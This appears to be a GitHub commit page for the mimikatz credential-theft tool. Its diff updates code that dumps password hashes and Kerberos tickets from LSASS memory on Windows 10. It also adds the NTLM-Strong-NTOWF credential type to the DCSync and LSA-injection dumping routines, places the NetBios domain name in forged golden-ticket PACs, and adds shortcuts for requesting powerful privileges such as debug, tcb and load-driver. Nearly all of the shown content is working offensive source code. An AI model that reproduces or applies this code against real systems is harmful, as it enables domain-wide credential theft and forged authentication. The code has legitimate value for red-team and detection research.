Permalink
Browse files

MSV & Kerberos fixes, LSA and Privilege enhancements

- [fix] sekurlsa::msv & mimilib for Windows 10 build 10586
- [fix #20] sekurlsa::tickets (display & export) for NT 6 != Windows 10
- [close #16] kerberos::golden now with ~NetBios name in LogonDomainName field of the PAC
- [new] privilege module shortcuts (driver, security, tcb, backup, restore) and functions (by id or name)
- [new] lsadump::dcsync and lsadump::lsa /inject 'NTLM-Strong-NTOWF' in Supplemental Credentials structures (Windows 2016 TP 4)
- [internal] NtSetSystemInformation can now be used in code
  • Loading branch information...
gentilkiwi committed Jan 6, 2016
1 parent 1b13057 commit fbb32cdcfa688892ab91b98044c453414193bb74
View
@@ -28,7 +28,7 @@
#define MIMIKATZ L"mimikatz"
#define MIMIKATZ_VERSION L"2.0 alpha"
#define MIMIKATZ_CODENAME L"Kiwi en C"
#define MIMIKATZ_CODENAME L"A La Vie, A L\'Amour"
#define MIMIKATZ_FULL MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") release \"" MIMIKATZ_CODENAME L"\" (" TEXT(__DATE__) L" " TEXT(__TIME__) L")"
#define MIMIKATZ_SPECIAL L" "
#define MIMIKATZ_DEFAULT_LOG MIMIKATZ L".log"
View
Binary file not shown.
View
Binary file not shown.

Large diffs are not rendered by default.

Oops, something went wrong.
@@ -45,5 +45,5 @@ NTSTATUS kuhl_m_kerberos_test(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_kerberos_hash_data(LONG keyType, PCUNICODE_STRING pString, PCUNICODE_STRING pSalt, DWORD count);
wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE_INFO_EX ticket, LPCWSTR ext);
struct _DIRTY_ASN1_SEQUENCE_EASY * kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, PISID sid, LPCBYTE key, DWORD keySize, DWORD keyType, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc);
struct _DIRTY_ASN1_SEQUENCE_EASY * kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR LogonDomainName, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, PISID sid, LPCBYTE key, DWORD keySize, DWORD keyType, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc);
NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD keySize, LPCVOID data, DWORD dataSize, LPVOID *output, DWORD *outputSize, BOOL encrypt);
@@ -1209,7 +1209,7 @@ void kuhl_m_lsadump_lsa_user(SAMPR_HANDLE DomainHandle, DWORD rid, PUNICODE_STRI
}
}
PCWCHAR KUHL_M_LSADUMP_SAMRPC_SUPPCRED_TYPE[] = {L"Primary", L"CLEARTEXT", L"WDigest", L"Kerberos", L"Kerberos-Newer-Keys",};
PCWCHAR KUHL_M_LSADUMP_SAMRPC_SUPPCRED_TYPE[] = {L"Primary", L"CLEARTEXT", L"WDigest", L"Kerberos", L"Kerberos-Newer-Keys", L"NTLM-Strong-NTOWF"};
void kuhl_m_lsadump_lsa_DescrBuffer(DWORD type, PVOID Buffer, DWORD BufferSize)
{
DWORD i;
@@ -1261,6 +1261,11 @@ void kuhl_m_lsadump_lsa_DescrBuffer(DWORD type, PVOID Buffer, DWORD BufferSize)
pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OldCredentialCount, L"OldCredentials");
kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OlderCredentialCount, L"OlderCredentials");
break;
case 5:
kprintf(L" Random Value : ");
kull_m_string_wprintf_hex(Buffer, BufferSize, 0);
kprintf(L"\n");
break;
default:
kull_m_string_wprintf_hex(Buffer, BufferSize, 1);
kprintf(L"\n");
@@ -1983,6 +1988,7 @@ DECLARE_UNICODE_STRING(PrimaryCleartext, L"Primary:CLEARTEXT");
DECLARE_UNICODE_STRING(PrimaryWDigest, L"Primary:WDigest");
DECLARE_UNICODE_STRING(PrimaryKerberos, L"Primary:Kerberos");
DECLARE_UNICODE_STRING(PrimaryKerberosNew, L"Primary:Kerberos-Newer-Keys");
DECLARE_UNICODE_STRING(PrimaryNtlmStrongNTOWF, L"Primary:NTLM-Strong-NTOWF");
DECLARE_UNICODE_STRING(Packages, L"Packages");
void kuhl_m_lsadump_dcsync_descrUserProperties(PUSER_PROPERTIES properties)
{
@@ -2047,7 +2053,18 @@ void kuhl_m_lsadump_dcsync_descrUserProperties(PUSER_PROPERTIES properties)
pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OldCredentialCount, L"OldCredentials");
kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OlderCredentialCount, L"OlderCredentials");
}
else kull_m_string_wprintf_hex(data, szData, 1);
else if(RtlEqualUnicodeString(&PrimaryNtlmStrongNTOWF, &Name, TRUE))
{
kprintf(L" Random Value : ");
kull_m_string_wprintf_hex(data, szData, 0);
kprintf(L"\n");
}
else
{
kprintf(L" Unknown data : ");
kull_m_string_wprintf_hex(data, szData, 1);
kprintf(L"\n");
}
kprintf(L"\n");
LocalFree(data);
}
@@ -11,19 +11,21 @@ DWORD WINAPI kuhl_sekurlsa_samsrv_thread(PREMOTE_LIB_DATA lpParameter)
SAMPR_HANDLE hSam, hDomain, hUser;
PPOLICY_ACCOUNT_DOMAIN_INFO pPolicyDomainInfo;
DWORD i, credSize = 0;
LSA_SUPCREDENTIALS_BUFFERS buffers[5];
LSA_SUPCREDENTIALS_BUFFERS buffers[6];
DWORD kn[][10] = {
{0x004C0043, 0x00410045, 0x00540052, 0x00580045, 0x00000054}, // CLEARTEXT
{0x00440057, 0x00670069, 0x00730065, 0x00000074}, // WDigest
{0x0065004b, 0x00620072, 0x00720065, 0x0073006f, 0x00000000}, // Kerberos
{0x0065004b, 0x00620072, 0x00720065, 0x0073006f, 0x004e002d, 0x00770065, 0x00720065, 0x004b002d, 0x00790065, 0x00000073}, // Kerberos-Newer-Keys
};
{0x0054004e, 0x004d004c, 0x0053002d, 0x00720074, 0x006e006f, 0x002d0067, 0x0054004e, 0x0057004f, 0x00000046}, // NTLM-Strong-NTOWF
};
UNICODE_STRING knu[] = {
{18, 18, (PWSTR) kn[0]},
{14, 14, (PWSTR) kn[1]},
{16, 16, (PWSTR) kn[2]},
{38, 38, (PWSTR) kn[3]},
{34, 34, (PWSTR) kn[4]},
};
if(NT_SUCCESS(((PSAMICONNECT) 0x4141414141414141)(NULL, &hSam, 0x10000000, TRUE)))
@@ -34,7 +36,7 @@ DWORD WINAPI kuhl_sekurlsa_samsrv_thread(PREMOTE_LIB_DATA lpParameter)
{
if(NT_SUCCESS(((PSAMROPENUSER) 0x4545454545454545)(hDomain, 0x10000000, lpParameter->input.inputDword, &hUser)))
{
for(i = 0; i < 5; i++)
for(i = 0; i < 6; i++)
{
buffers[i].Buffer = NULL;
buffers[i].credential.size = 0;
@@ -52,18 +54,18 @@ DWORD WINAPI kuhl_sekurlsa_samsrv_thread(PREMOTE_LIB_DATA lpParameter)
credSize += buffers[i].credential.size;
}
lpParameter->output.outputSize = sizeof(LSA_SUPCREDENTIALS) + (5 * sizeof(LSA_SUPCREDENTIAL)) + credSize;
lpParameter->output.outputSize = sizeof(LSA_SUPCREDENTIALS) + (6 * sizeof(LSA_SUPCREDENTIAL)) + credSize;
if(lpParameter->output.outputData = ((PVIRTUALALLOC) 0x4a4a4a4a4a4a4a4a)(NULL, lpParameter->output.outputSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))
{
credSize = 0;
((PLSA_SUPCREDENTIALS) lpParameter->output.outputData)->count = 5;
for(i = 0; i < 5; i++)
((PLSA_SUPCREDENTIALS) lpParameter->output.outputData)->count = 6;
for(i = 0; i < 6; i++)
{
if(NT_SUCCESS(buffers[i].status))
{
if(buffers[i].Buffer && buffers[i].credential.size)
{
buffers[i].credential.offset = sizeof(LSA_SUPCREDENTIALS) + (5 * sizeof(LSA_SUPCREDENTIAL)) + credSize;
buffers[i].credential.offset = sizeof(LSA_SUPCREDENTIALS) + (6 * sizeof(LSA_SUPCREDENTIAL)) + credSize;
((PLSA_SUPCREDENTIAL) ((PBYTE) lpParameter->output.outputData + sizeof(LSA_SUPCREDENTIALS)))[i] = buffers[i].credential;
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)((PBYTE) lpParameter->output.outputData + buffers[i].credential.offset, buffers[i].Buffer, buffers[i].credential.size);
credSize += buffers[i].credential.size;
@@ -7,6 +7,14 @@
const KUHL_M_C kuhl_m_c_privilege[] = {
{kuhl_m_privilege_debug, L"debug", L"Ask debug privilege"},
{kuhl_m_privilege_driver, L"driver", L"Ask load driver privilege"},
{kuhl_m_privilege_security, L"security", L"Ask security privilege"},
{kuhl_m_privilege_tcb, L"tcb", L"Ask tcb privilege"},
{kuhl_m_privilege_backup, L"backup", L"Ask backup privilege"},
{kuhl_m_privilege_restore, L"restore", L"Ask restore privilege"},
{kuhl_m_privilege_id, L"id", L"Ask a privilege by its id"},
{kuhl_m_privilege_name, L"name", L"Ask a privilege by its name"},
};
const KUHL_M kuhl_m_privilege = {
@@ -26,7 +34,58 @@ NTSTATUS kuhl_m_privilege_simple(ULONG privId)
return status;
}
NTSTATUS kuhl_m_privilege_id(int argc, wchar_t * argv[])
{
NTSTATUS status = STATUS_INVALID_PARAMETER;
if(argc)
status = kuhl_m_privilege_simple(wcstoul(argv[0], NULL, 0));
else PRINT_ERROR(L"Missing \'id\'\n");
return status;
}
NTSTATUS kuhl_m_privilege_name(int argc, wchar_t * argv[])
{
NTSTATUS status = STATUS_INVALID_PARAMETER;
LUID luid;
if(argc)
{
if(LookupPrivilegeValue(NULL, argv[0], &luid))
{
if(!luid.HighPart)
status = kuhl_m_privilege_simple(luid.LowPart);
else PRINT_ERROR(L"LUID high part is %u\n", luid.HighPart);
}
else PRINT_ERROR_AUTO(L"LookupPrivilegeValue");
}
else PRINT_ERROR(L"Missing \'name\'\n");
return status;
}
NTSTATUS kuhl_m_privilege_debug(int argc, wchar_t * argv[])
{
return kuhl_m_privilege_simple(SE_DEBUG);
}
NTSTATUS kuhl_m_privilege_driver(int argc, wchar_t * argv[])
{
return kuhl_m_privilege_simple(SE_LOAD_DRIVER);
}
NTSTATUS kuhl_m_privilege_security(int argc, wchar_t * argv[])
{
return kuhl_m_privilege_simple(SE_SECURITY);
}
NTSTATUS kuhl_m_privilege_tcb(int argc, wchar_t * argv[])
{
return kuhl_m_privilege_simple(SE_TCB);
}
NTSTATUS kuhl_m_privilege_backup(int argc, wchar_t * argv[])
{
return kuhl_m_privilege_simple(SE_BACKUP);
}
NTSTATUS kuhl_m_privilege_restore(int argc, wchar_t * argv[])
{
return kuhl_m_privilege_simple(SE_RESTORE);
}
@@ -10,6 +10,15 @@
const KUHL_M kuhl_m_privilege;
NTSTATUS kuhl_m_privilege_debug(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_privilege_driver(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_privilege_security(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_privilege_tcb(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_privilege_backup(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_privilege_restore(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_privilege_id(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_privilege_name(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_privilege_simple(ULONG privId);
#define SE_CREATE_TOKEN 2
@@ -220,23 +220,23 @@ const KERB_INFOS kerbHelper[] = {
},
FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION_10, SmartcardInfos),
sizeof(KIWI_KERBEROS_LOGON_SESSION_10),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, ServiceName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, TargetName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, DomainName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, TargetDomainName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, Description),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, AltTargetDomainName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, ClientName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, TicketFlags),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, KeyType),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, Key),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, StartTime),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, EndTime),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, RenewUntil),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, TicketEncType),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, Ticket),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_6, TicketKvno),
sizeof(KIWI_KERBEROS_INTERNAL_TICKET_6),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, ServiceName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, TargetName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, DomainName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, TargetDomainName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, Description),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, AltTargetDomainName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, ClientName),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, TicketFlags),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, KeyType),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, Key),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, StartTime),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, EndTime),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, RenewUntil),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, TicketEncType),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, Ticket),
FIELD_OFFSET(KIWI_KERBEROS_INTERNAL_TICKET_10, TicketKvno),
sizeof(KIWI_KERBEROS_INTERNAL_TICKET_10),
FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION_10, pKeyList),
sizeof(KIWI_KERBEROS_KEYS_LIST_6),
FIELD_OFFSET(KERB_HASHPASSWORD_6, generic),
@@ -391,6 +391,40 @@ typedef struct _KIWI_KERBEROS_INTERNAL_TICKET_60 {
} KIWI_KERBEROS_INTERNAL_TICKET_60, *PKIWI_KERBEROS_INTERNAL_TICKET_60;
typedef struct _KIWI_KERBEROS_INTERNAL_TICKET_6 {
LIST_ENTRY This;
PVOID unk0;
PVOID unk1;
PKERB_EXTERNAL_NAME ServiceName;
PKERB_EXTERNAL_NAME TargetName;
LSA_UNICODE_STRING DomainName;
LSA_UNICODE_STRING TargetDomainName;
LSA_UNICODE_STRING Description;
LSA_UNICODE_STRING AltTargetDomainName;
LSA_UNICODE_STRING KDCServer; //?
PKERB_EXTERNAL_NAME ClientName;
PVOID name0;
ULONG TicketFlags;
ULONG unk2;
ULONG KeyType;
KIWI_KERBEROS_BUFFER Key;
PVOID unk3;
PVOID unk4;
PVOID unk5;
FILETIME StartTime;
FILETIME EndTime;
FILETIME RenewUntil;
ULONG unk6;
ULONG unk7;
PCWSTR domain;
ULONG unk8;
PVOID strangeNames;
ULONG unk9;
ULONG TicketEncType;
ULONG TicketKvno;
KIWI_KERBEROS_BUFFER Ticket;
} KIWI_KERBEROS_INTERNAL_TICKET_6, *PKIWI_KERBEROS_INTERNAL_TICKET_6;
typedef struct _KIWI_KERBEROS_INTERNAL_TICKET_10 {
LIST_ENTRY This;
PVOID unk0;
PVOID unk1;
@@ -424,7 +458,7 @@ typedef struct _KIWI_KERBEROS_INTERNAL_TICKET_6 {
ULONG TicketEncType;
ULONG TicketKvno;
KIWI_KERBEROS_BUFFER Ticket;
} KIWI_KERBEROS_INTERNAL_TICKET_6, *PKIWI_KERBEROS_INTERNAL_TICKET_6;
} KIWI_KERBEROS_INTERNAL_TICKET_10, *PKIWI_KERBEROS_INTERNAL_TICKET_10;
typedef struct _KIWI_KERBEROS_KEYS_LIST_5 {
DWORD unk0; // dword_1233EC8 dd 4
@@ -29,6 +29,8 @@ typedef struct _MSV1_0_PRIMARY_CREDENTIAL_10 {
BOOLEAN isShaOwPassword;
BYTE align0;
BYTE align1;
BYTE align2;
BYTE align3;
BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE ShaOwPassword[SHA_DIGEST_LENGTH];
@@ -36,6 +36,8 @@ typedef struct _MSV1_0_PRIMARY_CREDENTIAL_10 {
BOOLEAN isShaOwPassword;
BYTE align0;
BYTE align1;
BYTE align2;
BYTE align3;
BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE ShaOwPassword[SHA_DIGEST_LENGTH];
View
@@ -24,7 +24,7 @@
#define MIMIKATZ_A "mimikatz"
#define MIMIKATZ_VERSION_A "2.0 alpha"
#define MIMIKATZ_CODENAME_A "Kiwi en C"
#define MIMIKATZ_CODENAME_A "A La Vie, A L\'Amour"
#define MIMIKATZ_FULL_A MIMIKATZ_A " " MIMIKATZ_VERSION_A " (" MIMIKATZ_ARCH_A ") release \"" MIMIKATZ_CODENAME_A "\" (" __DATE__ " " __TIME__ ")"
#ifndef NT_SUCCESS
View
@@ -199,6 +199,20 @@ typedef struct _SYSTEM_THREAD {
KWAIT_REASON WaitReason;
} SYSTEM_THREAD, *PSYSTEM_THREAD;
typedef struct _SYSTEM_BASIC_INFORMATION {
ULONG Reserved;
ULONG TimerResolution;
ULONG PageSize;
ULONG NumberOfPhysicalPages;
ULONG LowestPhysicalPageNumber;
ULONG HighestPhysicalPageNumber;
ULONG AllocationGranularity;
ULONG MinimumUserModeAddress;
ULONG MaximumUserModeAddress;
ULONG ActiveProcessorsAffinityMask;
UCHAR NumberOfProcessors;
} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
@@ -330,6 +344,7 @@ typedef struct _RTL_PROCESS_MODULES
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
extern NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength);
extern NTSTATUS WINAPI NtSetSystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength);
extern NTSTATUS WINAPI NtQueryInformationProcess(IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, OUT ULONG ProcessInformationLength, OUT OPTIONAL PULONG ReturnLength);
extern NTSTATUS WINAPI NtSuspendProcess(IN HANDLE ProcessHandle);
extern NTSTATUS WINAPI NtResumeProcess(IN HANDLE ProcessHandle);

0 comments on commit fbb32cd

Please sign in to comment.